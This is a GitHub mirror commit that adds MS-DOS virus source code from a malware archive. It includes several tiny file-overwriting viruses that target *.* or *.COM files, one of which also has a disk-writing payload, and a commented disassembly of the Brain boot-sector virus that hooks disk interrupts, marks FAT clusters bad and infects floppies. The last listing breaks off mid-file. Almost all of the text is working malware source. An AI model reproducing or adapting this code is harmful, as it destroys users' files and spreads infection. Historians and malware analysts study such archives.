mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-20 22:18:28 +00:00
Add files via upload
This commit is contained in:
parent
f76af55eb4
commit
b60161f008
13
MSDOS/Virus.MSDOS.Unknown.ow-27.asm
Normal file
13
MSDOS/Virus.MSDOS.Unknown.ow-27.asm
Normal file
@ -0,0 +1,13 @@
|
||||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
On2: Int 21h
|
||||
Mov Dl,Length
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
12
MSDOS/Virus.MSDOS.Unknown.ow-27b.asm
Normal file
12
MSDOS/Virus.MSDOS.Unknown.ow-27b.asm
Normal file
@ -0,0 +1,12 @@
|
||||
Lea Dx,Fs
|
||||
Mov Ah,78
|
||||
Int 33
|
||||
Mov Dx,9eh
|
||||
Mov Ah,61
|
||||
o1: Int 33
|
||||
Xchg Ax,Bx
|
||||
Mov Dl,27
|
||||
FS Db '*.*',0
|
||||
Xchg Cx,Dx
|
||||
Mov Ah,64
|
||||
Jmp o1
|
13
MSDOS/Virus.MSDOS.Unknown.ow-28.asm
Normal file
13
MSDOS/Virus.MSDOS.Unknown.ow-28.asm
Normal file
@ -0,0 +1,13 @@
|
||||
Main: Lea Dx,FileSpec
|
||||
Mov Ah,4eh
|
||||
Int 21h
|
||||
Mov Dx,9eh
|
||||
Mov Ah,3ch
|
||||
Int 21h
|
||||
Lea Dx,Main
|
||||
Mov Bh,40h
|
||||
Mov Cl,Length
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
13
MSDOS/Virus.MSDOS.Unknown.ow-28b.asm
Normal file
13
MSDOS/Virus.MSDOS.Unknown.ow-28b.asm
Normal file
@ -0,0 +1,13 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
14
MSDOS/Virus.MSDOS.Unknown.ow-30.asm
Normal file
14
MSDOS/Virus.MSDOS.Unknown.ow-30.asm
Normal file
@ -0,0 +1,14 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
On1: Ret
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
17
MSDOS/Virus.MSDOS.Unknown.ow-37.asm
Normal file
17
MSDOS/Virus.MSDOS.Unknown.ow-37.asm
Normal file
@ -0,0 +1,17 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ah,3dh
|
||||
inc ax
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
On1: Jmp On2
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
20
MSDOS/Virus.MSDOS.Unknown.ow-42.asm
Normal file
20
MSDOS/Virus.MSDOS.Unknown.ow-42.asm
Normal file
@ -0,0 +1,20 @@
|
||||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc Ende
|
||||
Mov Ax,3d01h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
19
MSDOS/Virus.MSDOS.Unknown.ow-42b.asm
Normal file
19
MSDOS/Virus.MSDOS.Unknown.ow-42b.asm
Normal file
@ -0,0 +1,19 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov bh,40h
|
||||
Mov Cl,Length
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On2
|
||||
On1: Ret
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
28
MSDOS/Virus.MSDOS.Unknown.ow-64.asm
Normal file
28
MSDOS/Virus.MSDOS.Unknown.ow-64.asm
Normal file
@ -0,0 +1,28 @@
|
||||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc On2
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Ah
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Db 'Trident'
|
||||
On2: Mov Ah,2ch
|
||||
Int 21h
|
||||
Cmp Dl,10
|
||||
Ja Ende
|
||||
Mov Al,2
|
||||
Xor Dx,Dx
|
||||
Int 25h
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
20
MSDOS/Virus.MSDOS.Unknown.ow10.asm
Normal file
20
MSDOS/Virus.MSDOS.Unknown.ow10.asm
Normal file
@ -0,0 +1,20 @@
|
||||
;
|
||||
; Mini-25
|
||||
;
|
||||
; Overwrites the first file in a directory
|
||||
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Db '*.*',0
|
||||
Main: Mov Ah,4eh
|
||||
Mov Dx,Cx
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
20
MSDOS/Virus.MSDOS.Unknown.ow8.asm
Normal file
20
MSDOS/Virus.MSDOS.Unknown.ow8.asm
Normal file
@ -0,0 +1,20 @@
|
||||
;
|
||||
; Mini-25
|
||||
;
|
||||
; Overwrites the first file in a directory
|
||||
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
26
MSDOS/Virus.MSDOS.Unknown.ow9.asm
Normal file
26
MSDOS/Virus.MSDOS.Unknown.ow9.asm
Normal file
@ -0,0 +1,26 @@
|
||||
;
|
||||
; Micro-31
|
||||
;
|
||||
; Infects as many files as there are handles aveable. It creates 158 byte
|
||||
; file containing a replicating copy of the virus. The effective program
|
||||
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
|
||||
; and Gobbler II.
|
||||
;
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Main: Mov Ah,4eh
|
||||
Seek: Lea Dx,FileSpec
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
Do: Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Xchg Dx,Cx
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp Seek
|
||||
Length Equ $-Main
|
1102
MSDOS/Virus.MSDOS.Unknown.pakbrain.asm
Normal file
1102
MSDOS/Virus.MSDOS.Unknown.pakbrain.asm
Normal file
File diff suppressed because it is too large
Load Diff
1102
MSDOS/Virus.MSDOS.Unknown.pakbrain.lst
Normal file
1102
MSDOS/Virus.MSDOS.Unknown.pakbrain.lst
Normal file
File diff suppressed because it is too large
Load Diff
686
MSDOS/Virus.MSDOS.Unknown.pakki.asm
Normal file
686
MSDOS/Virus.MSDOS.Unknown.pakki.asm
Normal file
@ -0,0 +1,686 @@
|
||||
|
||||
; This is the ashar variant of the classic Pakistani Brain virus. It is large
|
||||
; by today's standards, although it was one of the first. It is a floppy only
|
||||
; boot sector infector.
|
||||
|
||||
brain segment byte public
|
||||
assume cs:brain, ds:brain
|
||||
; Disassembly done by Dark Angel of PHALCON/SKISM
|
||||
org 0
|
||||
|
||||
cli
|
||||
jmp entervirus
|
||||
idbytes db 34h, 12h
|
||||
firsthead db 0
|
||||
firstsector dw 2707h
|
||||
curhead db 0
|
||||
cursector dw 1
|
||||
db 0, 0, 0, 0
|
||||
db 'Welcome to the Dungeon '
|
||||
copyright db '(c) 1986 Brain'
|
||||
db 17h
|
||||
db '& Amjads (pvt) Ltd VIRUS_SHOE '
|
||||
db ' RECORD v9.0 Dedicated to th'
|
||||
db 'e dynamic memories of millions o'
|
||||
db 'f virus who are no longer with u'
|
||||
db 's today - Thanks GOODNESS!! '
|
||||
db ' BEWARE OF THE er..VIRUS : \th'
|
||||
db 'is program is catching prog'
|
||||
db 'ram follows after these messeges'
|
||||
db '..... $'
|
||||
db '#@%$'
|
||||
db '@!! '
|
||||
entervirus:
|
||||
mov ax,cs
|
||||
mov ds,ax ; ds = 0
|
||||
mov ss,ax ; set stack to after
|
||||
mov sp,0F000h ; virus
|
||||
sti
|
||||
mov al,ds:[7C00h+offset firsthead]
|
||||
mov ds:[7C00h+offset curhead],al
|
||||
mov cx,ds:[7C00h+offset firstsector]
|
||||
mov ds:[7C00h+offset cursector],cx
|
||||
call calcnext
|
||||
mov cx,5 ; read five sectors
|
||||
mov bx,7C00h+200h ; after end of virus
|
||||
|
||||
loadnext:
|
||||
call readdisk
|
||||
call calcnext
|
||||
add bx,200h
|
||||
loop loadnext
|
||||
|
||||
mov ax,word ptr ds:[413h] ; Base memory size in Kb
|
||||
sub ax,7 ; - 7 Kb
|
||||
mov word ptr ds:[413h],ax ; Insert as new value
|
||||
mov cl,6
|
||||
shl ax,cl ; Convert to paragraphs
|
||||
mov es,ax
|
||||
mov si,7C00h ; Copy from virus start
|
||||
mov di,0 ; to start of memory
|
||||
mov cx,1004h ; Copy 1004h bytes
|
||||
cld
|
||||
rep movsb
|
||||
push es
|
||||
mov ax,200h
|
||||
push ax
|
||||
retf ; return to old boot sector
|
||||
|
||||
readdisk:
|
||||
push cx
|
||||
push bx
|
||||
mov cx,4 ; Try 4 times
|
||||
|
||||
tryread:
|
||||
push cx
|
||||
mov dh,ds:[7C00h+offset curhead]
|
||||
mov dl,0 ; Read sector from default
|
||||
mov cx,ds:[7C00h+offset cursector]
|
||||
mov ax,201h ; Disk to memory at es:bx
|
||||
int 13h
|
||||
jnc readOK
|
||||
mov ah,0 ; Reset disk
|
||||
int 13h ; (force read track 0)
|
||||
pop cx
|
||||
loop tryread
|
||||
|
||||
int 18h ; ROM basic on failure
|
||||
readOK:
|
||||
pop cx
|
||||
pop bx
|
||||
pop cx
|
||||
retn
|
||||
|
||||
calcnext:
|
||||
mov al,byte ptr ds:[7C00h+offset cursector]
|
||||
inc al
|
||||
mov byte ptr ds:[7C00h+offset cursector],al
|
||||
cmp al,0Ah
|
||||
jne donecalc
|
||||
mov byte ptr ds:[7C00h+offset cursector],1
|
||||
mov al,ds:[7C00h+offset curhead]
|
||||
inc al
|
||||
mov ds:[7C00h+offset curhead],al
|
||||
cmp al,2
|
||||
jne donecalc
|
||||
mov byte ptr ds:[7C00h+offset curhead],0
|
||||
inc byte ptr ds:[7C00h+offset cursector+1]
|
||||
donecalc:
|
||||
retn
|
||||
|
||||
; the following is a collection of garbage bytes
|
||||
db 00h, 00h, 00h, 00h, 32h,0E3h
|
||||
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
|
||||
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
|
||||
db 0CDh, 21h,0A2h, 3Ch, 5Fh
|
||||
a_data dw 050Ch
|
||||
; Second part of the virus begins here
|
||||
jmp short entersecondpart
|
||||
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
|
||||
readcounter db 4 ; keep track of # reads
|
||||
curdrive db 0
|
||||
int13flag db 0
|
||||
|
||||
entersecondpart:
|
||||
mov cs:readcounter,1Fh
|
||||
xor ax,ax
|
||||
mov ds,ax ; ds -> interrupt table
|
||||
mov ax,ds:[13h*4]
|
||||
mov ds:[6Dh*4],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov ds:[6Dh*4+2],ax
|
||||
mov ax,offset int13 ; 276h
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,cs
|
||||
mov ds:[13h*4+2],ax
|
||||
mov cx,4 ; 4 tries
|
||||
xor ax,ax
|
||||
mov es,ax ; es -> interrupt table
|
||||
|
||||
tryreadbootsector:
|
||||
push cx
|
||||
mov dh,cs:firsthead
|
||||
mov dl,0
|
||||
mov cx,cs:firstsector
|
||||
mov ax,201h ; read from default disk
|
||||
mov bx,7C00h
|
||||
int 6Dh ; int 13h
|
||||
jnc readbootOK
|
||||
mov ah,0
|
||||
int 6Dh ; int 13h
|
||||
pop cx
|
||||
loop tryreadbootsector
|
||||
|
||||
int 18h ; ROM basic on failure
|
||||
readbootOK: ; return control to
|
||||
; original boot sector
|
||||
;* jmp far ptr 0000:7C00h
|
||||
db 0EAh, 00h, 7Ch, 00h, 00h
|
||||
nop ; MASM NOP!!!
|
||||
int13:
|
||||
sti
|
||||
cmp ah,2 ; if not read request,
|
||||
jne doint13 ; do not go further
|
||||
cmp dl,2 ; if after second floppy,
|
||||
ja doint13 ; do not go further
|
||||
cmp ch,0 ; if not reading boot sector,
|
||||
jne regularread ; go handle as usual
|
||||
cmp dh,0 ; if boot sector,
|
||||
je readboot ; do I<-/>/\|> stuff
|
||||
regularread:
|
||||
dec cs:readcounter ; Infect after 4 reads
|
||||
jnz doint13 ; If counter still OK, don't
|
||||
; do anything else
|
||||
jmp short readboot ; Otherwise, try to infect
|
||||
doint13:
|
||||
jmp exitint13h
|
||||
readboot:
|
||||
; FINISH THIS!
|
||||
mov cs:int13flag,0 ; clear flag
|
||||
mov cs:readcounter,4 ; reset counter
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov cs:curdrive,dl
|
||||
mov cx,4
|
||||
|
||||
tryreadbootblock:
|
||||
push cx
|
||||
mov ah,0 ; Reset disk
|
||||
int 6Dh
|
||||
jc errorreadingbootblock ; Try again
|
||||
mov dh,0
|
||||
mov cx,1
|
||||
mov bx,offset readbuffer ; buffer @ 6BEh
|
||||
push es
|
||||
mov ax,cs
|
||||
mov es,ax
|
||||
mov ax,201h
|
||||
int 6Dh ; Read boot sector
|
||||
pop es
|
||||
jnc continuestuff ; continue if no error
|
||||
errorreadingbootblock:
|
||||
pop cx
|
||||
loop tryreadbootblock
|
||||
|
||||
jmp short resetdisk ; too many failures
|
||||
nop
|
||||
continuestuff:
|
||||
pop cx ; get system id in boot block
|
||||
mov ax,word ptr cs:[offset readbuffer+4]
|
||||
cmp ax,1234h ; already infected?
|
||||
jne dodisk ; if not, infect it
|
||||
mov cs:int13flag,1 ; flag prev. infection
|
||||
jmp short noreset
|
||||
dodisk:
|
||||
push ds
|
||||
push es
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
push si
|
||||
call writevirus ; infect the disk
|
||||
jc failme ; exit on failure
|
||||
mov cs:int13flag,2 ; flag success
|
||||
call changeroot ; manipulate volume label
|
||||
failme:
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
jnc noreset ; don't reset on success
|
||||
resetdisk:
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
noreset:
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp cx,1
|
||||
jne exitint13h
|
||||
cmp dh,0
|
||||
jne exitint13h
|
||||
cmp cs:int13flag,1 ; already infected?
|
||||
jne wasntinfected ; if wasn't, go elsewhere
|
||||
mov cx,word ptr cs:[offset readbuffer+7]
|
||||
mov dx,word ptr cs:[offset readbuffer+5]
|
||||
mov dl,cs:curdrive ; otherwise, read real
|
||||
jmp short exitint13h ; boot sector
|
||||
wasntinfected:
|
||||
cmp cs:int13flag,2 ; successful infection?
|
||||
jne exitint13h ; if not, just do call
|
||||
mov cx,cs:firstsector
|
||||
mov dh,cs:firsthead
|
||||
exitint13h:
|
||||
int 6Dh ; int 13h
|
||||
retf 2
|
||||
db 15 dup (0)
|
||||
|
||||
FATManip: ; returns al as error code
|
||||
jmp short delvedeeper
|
||||
nop
|
||||
FATManipreadcounter dw 3
|
||||
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
|
||||
delvedeeper:
|
||||
call readFAT ; Get FAT ID byte
|
||||
mov ax,word ptr ds:[offset readbuffer]
|
||||
cmp ax,0FFFDh ; is it 360K disk?
|
||||
je is360Kdisk ; continue if so
|
||||
mov al,3 ; al=3 == not good disk
|
||||
stc ; flag error
|
||||
retn ; and exit
|
||||
is360Kdisk:
|
||||
mov cx,37h
|
||||
mov FATManipreadcounter,0 ; none found yet
|
||||
checknextsector:
|
||||
call FATentry12bit ; get entry in FAT
|
||||
cmp ax,0 ; unused?
|
||||
jne notunused
|
||||
inc FATManipreadcounter ; one more found unused
|
||||
cmp FATManipreadcounter,3 ; If need more,
|
||||
jne tryanother ; go there
|
||||
jmp short markembad ; found 3 consecutive
|
||||
nop ; empty sectors
|
||||
notunused:
|
||||
mov FATManipreadcounter,0 ; must start over
|
||||
tryanother:
|
||||
inc cx ; try next sector
|
||||
cmp cx,163h ; end of disk?
|
||||
jne checknextsector ; if not, continue
|
||||
mov al,1 ; al=1 == none empty
|
||||
stc ; Indicate error
|
||||
retn
|
||||
markembad:
|
||||
mov dl,3 ; 3 times
|
||||
markanotherbad:
|
||||
call markbad12bit
|
||||
dec cx
|
||||
dec dl
|
||||
jnz markanotherbad
|
||||
inc cx
|
||||
call calc1sttrack
|
||||
call writeFAT ; update FAT
|
||||
mov al,0 ; al=0 == ok
|
||||
clc ; indicate success
|
||||
retn
|
||||
|
||||
markbad12bit:
|
||||
push cx
|
||||
push dx
|
||||
mov si,offset readbuffer ; si -> buffer
|
||||
mov al,cl
|
||||
shr al,1
|
||||
jc low_12 ; low bits
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si] ; get FAT entry
|
||||
and ax,0F000h ; mark it bad
|
||||
or ax,0FF7h
|
||||
jmp short putitback ; and put it back
|
||||
nop
|
||||
low_12:
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si] ; get FAT entry
|
||||
and ax,0Fh ; mark it bad
|
||||
or ax,0FF70h
|
||||
putitback:
|
||||
mov [bx+si],ax ; replace FAT entry
|
||||
mov word ptr ds:[400h][bx+si],ax ; in two places
|
||||
pop dx
|
||||
pop cx
|
||||
retn
|
||||
|
||||
FATentry12bit:
|
||||
push cx
|
||||
mov si,offset readbuffer ; si->buffer
|
||||
mov al,cl
|
||||
shr al,1
|
||||
; Part 3 of the virus starts here
|
||||
jc want_high_12
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si]
|
||||
and ax,0FFFh
|
||||
jmp short exitFATentry12bit
|
||||
nop
|
||||
want_high_12:
|
||||
call clus2offset12bit ; xxxxxxxxxxxx0000
|
||||
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
|
||||
and ax,0FFF0h ; mask wanted bits
|
||||
mov cl,4 ; and move to correct
|
||||
shr ax,cl ; position
|
||||
exitFATentry12bit:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
clus2offset12bit:
|
||||
push dx
|
||||
mov ax,3
|
||||
mul cx
|
||||
shr ax,1 ; ax = cx*1.5
|
||||
mov bx,ax
|
||||
pop dx
|
||||
retn
|
||||
|
||||
readFAT:
|
||||
mov ah,2 ; read
|
||||
call FAT_IO
|
||||
retn
|
||||
|
||||
writeFAT:
|
||||
mov ah,3 ; write
|
||||
call FAT_IO
|
||||
retn
|
||||
|
||||
FAT_IO:
|
||||
mov cx,4 ; try four times
|
||||
FAT_IOLoop:
|
||||
push cx
|
||||
push ax
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
pop ax
|
||||
jc tryFAT_IOagain
|
||||
mov bx,offset readbuffer
|
||||
mov al,4 ; 4 sectors
|
||||
mov dh,0 ; head 0
|
||||
mov dl,curdrive
|
||||
mov cx,2 ; sector 2
|
||||
push ax ; (FAT)
|
||||
int 6Dh ; int 13h
|
||||
pop ax
|
||||
jnc exitFAT_IO
|
||||
tryFAT_IOagain:
|
||||
pop cx
|
||||
loop FAT_IOLoop
|
||||
|
||||
pop ax
|
||||
pop ax
|
||||
mov al,2
|
||||
stc ; mark error
|
||||
retn
|
||||
exitFAT_IO:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
calc1sttrack:
|
||||
push cx
|
||||
sub cx,2
|
||||
shl cx,1 ; 2 sectors/cluster
|
||||
add cx,0Ch ; start of data area
|
||||
mov ax,cx ; ax = sector
|
||||
mov cl,12h ; 4096
|
||||
div cl ; ax/4096 = al rem ah
|
||||
mov byte ptr firstsector+1,al
|
||||
mov firsthead,0
|
||||
inc ah
|
||||
cmp ah,9 ; past track 9?
|
||||
jbe notpasttrack9 ; nope, we are ok
|
||||
sub ah,9 ; otherwise, adjust
|
||||
mov firsthead,1
|
||||
notpasttrack9:
|
||||
mov byte ptr firstsector,ah
|
||||
pop cx
|
||||
retn
|
||||
|
||||
db 0, 0, 0, 0, 0, 0
|
||||
r_or_w_root db 3
|
||||
entrycount dw 35h
|
||||
|
||||
tempsave1 dw 303h
|
||||
tempsave2 dw 0EBEh
|
||||
tempsave3 dw 1
|
||||
tempsave4 dw 100h
|
||||
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
|
||||
db 8Dh, 98h, 9Fh, 8Eh,0E0h
|
||||
db ' (c) ashar $'
|
||||
changeroot:
|
||||
call readroot ; read in root directory
|
||||
jc donotchangeroot
|
||||
push di
|
||||
call changevolume ; change volume label
|
||||
pop di
|
||||
jc donotchangeroot
|
||||
call writeroot ; write back new root dir
|
||||
donotchangeroot:
|
||||
retn
|
||||
; The following is just garbage bytes
|
||||
db 0BBh, 9Bh, 04h,0B9h, 0Bh
|
||||
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
|
||||
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
|
||||
db 0C6h, 06h
|
||||
|
||||
changevolume:
|
||||
mov entrycount,6Ch
|
||||
mov si,offset readbuffer+40h; 3nd dir entry
|
||||
mov tempsave1,dx
|
||||
mov ax,entrycount ; 6Ch
|
||||
shr ax,1
|
||||
mov tempsave3,ax ; 36h
|
||||
shr ax,1
|
||||
mov tempsave2,ax ; 1Bh
|
||||
xchg ax,cx
|
||||
and cl,43h ; cx = 3
|
||||
mov di,tempsave2
|
||||
add di,1E3h ; di = 01FE
|
||||
findlabel:
|
||||
mov al,[si]
|
||||
cmp al,0
|
||||
je dolabel ; no mo entries
|
||||
mov al,[si+0Bh] ; attribute byte
|
||||
and al,8 ; volume label?
|
||||
cmp al,8 ; yes?
|
||||
je dolabel ; then change it!
|
||||
add si,20h ; go to next directory entry
|
||||
dec entrycount
|
||||
jnz findlabel ; loop back
|
||||
stc ; Error!
|
||||
retn
|
||||
db 8Bh
|
||||
dolabel:
|
||||
mov bx,[di] ; offset a_data
|
||||
xor bx,tempsave3 ; bx = 53Ah
|
||||
mov tempsave3,si ; si->direntry
|
||||
cli
|
||||
mov ax,ss
|
||||
mov tempsave1,ax
|
||||
mov tempsave2,sp
|
||||
mov ax,cs
|
||||
mov ss,ax
|
||||
mov sp,tempsave3
|
||||
add sp,0Ch ;->reserved area
|
||||
mov cl,51h
|
||||
add dx,444Ch
|
||||
mov di,2555h
|
||||
mov cx,0C03h
|
||||
repe cmpsw
|
||||
mov ax,0B46h
|
||||
mov cx,3
|
||||
rol ax,cl ; ax = 5A30h
|
||||
mov tempsave3,ax
|
||||
mov cx,5
|
||||
mov dx,8
|
||||
sub tempsave3,5210h ; 820h
|
||||
push tempsave3 ; store attributes/reserved
|
||||
; I haven't commented the remainder of this procedure.
|
||||
; It basically changes the volume label to read "(c) Brain"
|
||||
|
||||
; Comment mode OFF
|
||||
|
||||
dowhatever:
|
||||
mov ah,[bx] ; 5a3h
|
||||
inc bx
|
||||
mov dl,ah
|
||||
shl dl,1
|
||||
jc dowhatever
|
||||
searchstuff:
|
||||
mov dl,[bx] ; dl=C2h
|
||||
inc bx ; bx=53Eh
|
||||
mov al,dl
|
||||
shl dl,1
|
||||
jc searchstuff
|
||||
add ax,1D1Dh
|
||||
push ax
|
||||
inc tempsave3
|
||||
db 73h, 01h ; jnc $+3
|
||||
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
|
||||
xchg bp,ax
|
||||
add al,0A1h
|
||||
xchg bx,ax
|
||||
add al,8Eh
|
||||
sar bl,1
|
||||
add dh,[bp+si]
|
||||
clc
|
||||
ret
|
||||
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
|
||||
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
|
||||
|
||||
; Comment mode ON
|
||||
|
||||
readroot:
|
||||
mov r_or_w_root,2 ; set action code
|
||||
jmp short do_rw_root ; easier to do w/
|
||||
nop ; mov ah, 2
|
||||
writeroot:
|
||||
mov r_or_w_root,3
|
||||
jmp short do_rw_root ; this is somewhat useless
|
||||
nop
|
||||
do_rw_root:
|
||||
mov dh,0 ; head 0
|
||||
mov dl,curdrive
|
||||
mov cx,6 ; sector 6
|
||||
mov ah,r_or_w_root
|
||||
mov al,4 ; 4 sectors
|
||||
mov bx,offset readbuffer
|
||||
call doint13h
|
||||
jc exit_rw_root ; quit on error
|
||||
mov cx,1
|
||||
mov dh,1 ; head 1
|
||||
mov ah,r_or_w_root
|
||||
mov al,3
|
||||
add bx,800h
|
||||
call doint13h
|
||||
|
||||
exit_rw_root:
|
||||
retn
|
||||
|
||||
doint13h:
|
||||
mov tempsave1,ax
|
||||
mov tempsave2,bx
|
||||
mov tempsave3,cx
|
||||
mov tempsave4,dx
|
||||
mov cx,4
|
||||
|
||||
doint13hloop:
|
||||
push cx
|
||||
mov ah,0 ; Reset disk
|
||||
int 6Dh
|
||||
jc errordoingint13h
|
||||
mov ax,tempsave1
|
||||
mov bx,tempsave2
|
||||
mov cx,tempsave3
|
||||
mov dx,tempsave4
|
||||
int 6Dh ; int 13h
|
||||
jnc int13hsuccess
|
||||
errordoingint13h:
|
||||
pop cx
|
||||
loop doint13hloop
|
||||
|
||||
stc ; indicate error
|
||||
retn
|
||||
int13hsuccess:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
db 0, 0, 0
|
||||
; Part 4 of the virus starts here
|
||||
tempstorecx dw 3
|
||||
readwritecurrentdata dw 301h
|
||||
|
||||
writevirus:
|
||||
call FATManip
|
||||
jc exitwritevirus
|
||||
mov cursector,1
|
||||
mov curhead,0
|
||||
mov bx,offset readbuffer
|
||||
call readcurrent
|
||||
mov bx,offset readbuffer
|
||||
mov ax,firstsector
|
||||
mov cursector,ax
|
||||
mov ah,firsthead
|
||||
mov curhead,ah
|
||||
call writecurrent
|
||||
call calcnextsector
|
||||
mov cx,5
|
||||
mov bx,200h
|
||||
writeanothersector:
|
||||
mov tempstorecx,cx
|
||||
call writecurrent
|
||||
call calcnextsector
|
||||
add bx,200h
|
||||
mov cx,tempstorecx
|
||||
loop writeanothersector
|
||||
|
||||
mov curhead,0
|
||||
mov cursector,1
|
||||
mov bx,0
|
||||
call writecurrent
|
||||
clc ; indicate success
|
||||
exitwritevirus:
|
||||
retn
|
||||
|
||||
|
||||
readcurrent:
|
||||
mov readwritecurrentdata,201h
|
||||
jmp short doreadwrite
|
||||
nop
|
||||
writecurrent:
|
||||
mov readwritecurrentdata,301h
|
||||
jmp short doreadwrite ; This is pointless.
|
||||
nop
|
||||
doreadwrite:
|
||||
push bx
|
||||
mov cx,4
|
||||
|
||||
tryreadwriteagain:
|
||||
push cx
|
||||
mov dh,curhead
|
||||
mov dl,curdrive
|
||||
mov cx,cursector
|
||||
mov ax,readwritecurrentdata ; read or write?
|
||||
int 6Dh ; int 13h
|
||||
jnc readwritesuccessful
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
pop cx
|
||||
loop tryreadwriteagain
|
||||
|
||||
pop bx
|
||||
pop bx
|
||||
stc ; Indicate error
|
||||
retn
|
||||
readwritesuccessful:
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
|
||||
|
||||
calcnextsector:
|
||||
inc byte ptr cursector ; next sector
|
||||
cmp byte ptr cursector,0Ah
|
||||
jne donecalculate ; finished calculations
|
||||
